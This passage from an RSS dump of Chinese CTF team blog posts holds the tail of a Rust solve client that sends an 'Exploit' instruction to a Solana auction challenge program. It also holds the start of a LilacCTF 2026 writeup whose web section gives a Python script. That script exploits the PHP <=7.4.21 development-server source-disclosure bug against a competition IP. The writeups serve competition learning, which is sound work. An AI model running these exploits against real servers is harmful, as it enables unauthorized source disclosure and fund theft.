Pubkey::find_program_address(</span><span leaf=""><br/></span><span leaf="">        &amp;[b</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;auction&#34;</span></span><span leaf="">, user.as_ref(), &amp;my_auction_id.to_le_bytes()], </span><span leaf=""><br/></span><span leaf="">        &amp;chall</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    let (player_bidder_state, _) = Pubkey::find_program_address(</span><span leaf=""><br/></span><span leaf="">        &amp;[b</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bidder&#34;</span></span><span leaf="">, my_auction.as_ref(), user.as_ref()], </span><span leaf=""><br/></span><span leaf="">        &amp;chall</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    let (helper_pda, _) = Pubkey::find_program_address(&amp;[b</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;helper&#34;</span></span><span leaf="">], &amp;solve);</span><span leaf=""><br/></span><span leaf="">    let (helper_bidder_state, _) = Pubkey::find_program_address(</span><span leaf=""><br/></span><span leaf="">        &amp;[b</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bidder&#34;</span></span><span leaf="">, my_auction.as_ref(), helper_pda.as_ref()], </span><span leaf=""><br/></span><span leaf="">        &amp;chall</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    let (admin_auction, _) = Pubkey::find_program_address(</span><span leaf=""><br/></span><span leaf="">        &amp;[b</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;auction&#34;</span></span><span leaf="">, admin.as_ref(), &amp;</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">u64.to_le_bytes()], </span><span leaf=""><br/></span><span leaf="">        &amp;chall</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    let (admin_bidder_state, _) = Pubkey::find_program_address(</span><span leaf=""><br/></span><span leaf="">        &amp;[b</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bidder&#34;</span></span><span leaf="">, admin_auction.as_ref(), user.as_ref()], </span><span leaf=""><br/></span><span leaf="">        &amp;chall</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        let ix = solve::instruction::Exploit {};</span><span leaf=""><br/></span><span leaf="">        let data = ix.data();</span><span leaf=""><br/></span><span leaf="">        let ix_accounts = solve::accounts::Exploit {</span><span leaf=""><br/></span><span leaf="">            player: user,</span><span leaf=""><br/></span><span leaf="">            challenge_program: chall,</span><span leaf=""><br/></span><span leaf="">            vault,</span><span leaf=""><br/></span><span leaf="">            my_auction,</span><span leaf=""><br/></span><span leaf="">            player_bidder_state,</span><span leaf=""><br/></span><span leaf="">            helper_pda,</span><span leaf=""><br/></span><span leaf="">            helper_bidder_state,</span><span leaf=""><br/></span><span leaf="">            admin_auction,</span><span leaf=""><br/></span><span leaf="">            admin_bidder_state,</span><span leaf=""><br/></span><span leaf="">            admin_pubkey: admin,</span><span leaf=""><br/></span><span leaf="">            system_program: system_program::ID,</span><span leaf=""><br/></span><span leaf="">        };</span><span leaf=""><br/></span><span leaf="">        let metas = ix_accounts.to_account_metas(None);</span><span leaf=""><br/></span><span leaf="">        reader.read_line(&amp;mut line)?;</span><span leaf=""><br/></span><span leaf="">        writeln!(stream, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{}&#34;</span></span><span leaf="">, metas.len())?;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> meta in metas {</span><span leaf=""><br/></span><span leaf="">            let mut meta_str = String::</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf="">();</span><span leaf=""><br/></span><span leaf="">            meta_str.push(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;m&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> meta.is_writable { meta_str.push(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;w&#39;</span></span><span leaf="">); }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> meta.is_signer { meta_str.push(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;s&#39;</span></span><span leaf="">); }</span><span leaf=""><br/></span><span leaf="">            meta_str.push(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            meta_str.push_str(&amp;meta.pubkey.to_string());</span><span leaf=""><br/></span><span leaf="">            writeln!(stream, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{}&#34;</span></span><span leaf="">, meta_str)?;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        stream.flush()?;</span><span leaf=""><br/></span><span leaf="">        reader.read_line(&amp;mut line)?;</span><span leaf=""><br/></span><span leaf="">        writeln!(stream, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{}&#34;</span></span><span leaf="">, data.len())?;</span><span leaf=""><br/></span><span leaf="">        stream.write_all(&amp;data)?;</span><span leaf=""><br/></span><span leaf="">        stream.flush()?;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    line.clear();</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> reader.read_line(&amp;mut line)? != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">        print!(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{}&#34;</span></span><span leaf="">, line);</span><span leaf=""><br/></span><span leaf="">        line.clear();</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    Ok(())</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></div><div data-role="outer" label="Powered by 135editor.com" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);" data-pm-slice="0 0 []"><div data-role="paragraph" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c1a3fffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FkiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w%2F640%3Fwx_fmt%3Dgif&#34;);background-size: 100% auto;background-position: 0px center;background-repeat: no-repeat;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="">结束</span></span></p></div></div></div></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="">招新小广告</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="">新成立组IOT+工控+样本分析 </span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="">长期招新</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="">欢迎联系</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028091" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=4b6fd77d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D4"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1b21a52b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514133%26idx%3D1%26sn%3D70af1a49043919abd9433ed78b64c1ce">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 04 Feb 2026 08:03:00 +0800</pubDate>
    </item>
    <item>
      <title>LilacCTF 2026 Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514105&amp;idx=1&amp;sn=63f1c2bc57446b7d314f20e54f6523dc</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2026-01-28 08:04</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=04f76dac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0Sxqy4GibudofMfiahS0GxKXFicA0jC0T0YBbw0tAPmaibRXNHCjQiaX3xHQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.487962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030454" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=78af1a71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU03ToxNIy2g10YQULO9He17fyLVFTydibgia3cObTzbhI9wcNjohibzEggg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Web</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">keep</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">PHP&lt;=7.4.21 Development Server源码泄露漏洞</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> socket</span><span leaf=""><br/></span><span leaf="">host = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;61.147.171.103&#34;</span></span><span leaf=""><br/></span><span leaf="">port = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">60598</span></span><span leaf=""><br/></span><span leaf="">target_file = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/index.php&#34;</span></span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[*] 正在利用 PHP 内置服务器漏洞读取: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{target_file}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">payload = (</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;GET </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{target_file}</span></span><span leaf=""> HTTP/1.1\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Host: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{host}</span></span><span leaf="">:</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{port}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;GET /robots.txt HTTP/1.1\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Host: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{host}</span></span><span leaf="">:</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{port}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\r\n&#34;</span></span><span leaf=""><br/></span><span leaf="">).encode()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 建立原始 TCP 连接</span></span><span leaf=""><br/></span><span leaf="">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><span leaf=""><br/></span><span leaf="">    s.settimeout(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    s.connect((host, port))</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 发送恶意数据包</span></span><span leaf=""><br/></span><span leaf="">    s.sendall(payload)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 循环接收所有响应数据</span></span><span leaf=""><br/></span><span leaf="">    response = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            chunk = s.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4096</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> chunk: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">            response += chunk</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> socket.timeout:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">    s.close()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 解码并打印</span></span><span leaf=""><br/></span><span leaf="">    content = response.decode(errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ignore&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\n&#34;</span></span><span leaf=""> + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf=""> + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34; 泄露的源码内容 &#34;</span></span><span leaf=""> + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(content)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">50</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #98c379;line-height: 26px;"><span 